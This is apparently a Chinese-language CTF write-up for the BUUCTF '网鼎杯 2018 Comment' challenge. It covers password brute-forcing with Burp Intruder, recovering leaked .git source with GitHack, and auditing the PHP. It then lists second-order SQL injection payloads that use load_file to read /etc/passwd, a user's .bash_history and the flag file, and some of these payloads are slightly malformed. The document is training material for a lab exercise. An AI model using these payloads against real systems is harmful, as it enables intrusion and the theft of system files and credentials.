【BUUCTF】[网鼎杯 2018]Comment
进入题目页面如下
看到有留言板
点击发帖,随便输入内容,提交
跳转到login.php,页面如下
看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位
用burp suite爆破看看能不能爆破出隐藏的三位
先进行抓包
右键发送到Intruder模块
在隐藏的三个数处添加payload,并按下图设置,并开始攻击
看到长度不同的payload
看到是666
zhangwei
zhangwei666
登录成功
尝试了SQL注入、xss漏洞都无果
用dirsearch扫描根目录试试
dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*
看到多个.git路径,猜测是源码泄露
用GitHack下载源码
我是在kali中下载的GitHack
先进入root用户
sudo su
下载克隆Git Hack库
git clone https://github.com/BugScanTeam/GitHack
使用GitHack时,要先cd一下,在Git Hack目录下进行
cd GitHack
GitHack要用python2
python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/
显示这个则成功
打开GitHack文件下的dist
看到write_do.php文件
打开看到源码
但是并没有发现可以利用的漏洞
发现还需要
git源码的恢复
命令如下
git log --reflog
复制上面commit的第一个内容
git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8
再次打开,得到完整代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
开始审计
<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";
// 启动会话,用于存储和获取用户的会话信息
session_start();
// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){
// 若未登录,使用 header 函数将用户重定向到登录页面 login.php
header("Location: ./login.php");
// 终止当前脚本的执行,防止后续代码继续运行
die();
}
// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){
// 根据 'do' 参数的值进行不同的操作
switch ($_GET['do'])
{
// 当 'do' 参数的值为 'write' 时
case 'write':
// 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入
$category = addslashes($_POST['category']);
// 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义
$title = addslashes($_POST['title']);
// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
$content = addslashes($_POST['content']);
// 构建插入数据到 'board' 表的 SQL 语句
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
// 执行 SQL 语句
$result = mysql_query($sql);
// 将用户重定向到 index.php 页面
header("Location: ./index.php");
// 跳出 switch 语句
break;
// 当 'do' 参数的值为 'comment' 时
case 'comment':
// 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义
$bo_id = addslashes($_POST['bo_id']);
// 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句
$sql = "select category from board where id='$bo_id'";
// 执行 SQL 语句
$result = mysql_query($sql);
// 获取查询结果的行数
$num = mysql_num_rows($result);
// 如果查询结果的行数大于 0,说明存在符合条件的记录
if($num>0){
// 获取查询结果中的 'category' 字段值
$category = mysql_fetch_array($result)['category'];
// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
$content = addslashes($_POST['content']);
// 构建插入数据到 'comment' 表的 SQL 语句
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
// 执行 SQL 语句
$result = mysql_query($sql);
}
// 将用户重定向到 comment.php 页面,并传递 'id' 参数
header("Location: ./comment.php?id=$bo_id");
// 跳出 switch 语句
break;
// 当 'do' 参数的值为其他值时
default:
// 将用户重定向到 index.php 页面
header("Location: ./index.php");
}
}
// 如果没有通过 GET 请求传递 'do' 参数
else{
// 将用户重定向到 index.php 页面
header("Location: ./index.php");
}
?>
存在SQL注入
代码使用了 addslashes
函数对用户输入进行转义
addslashes
只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护
SQL注入
注入点值为comment
爆出数据库名
1',content=database(),/*
点击提交,点击详情
提交留言填写*/#用于闭合语句
爆出了数据库名,回显ctf
payload
1',content=(select( load_file('/etc/passwd'))),/*
得到信息,用bash进行读取文件
用户为www,读取他的history文件
1’,content=(select (load_file(‘/home/www/.bash_history’))),/*
得到命令
1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*
读取.DS_Store文件
得到一串十六进制文本
在线十六进制转字符
flag文件是:flag_8946e1ff1ee3e40f.php
回到/var/www/html中读取flag
1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*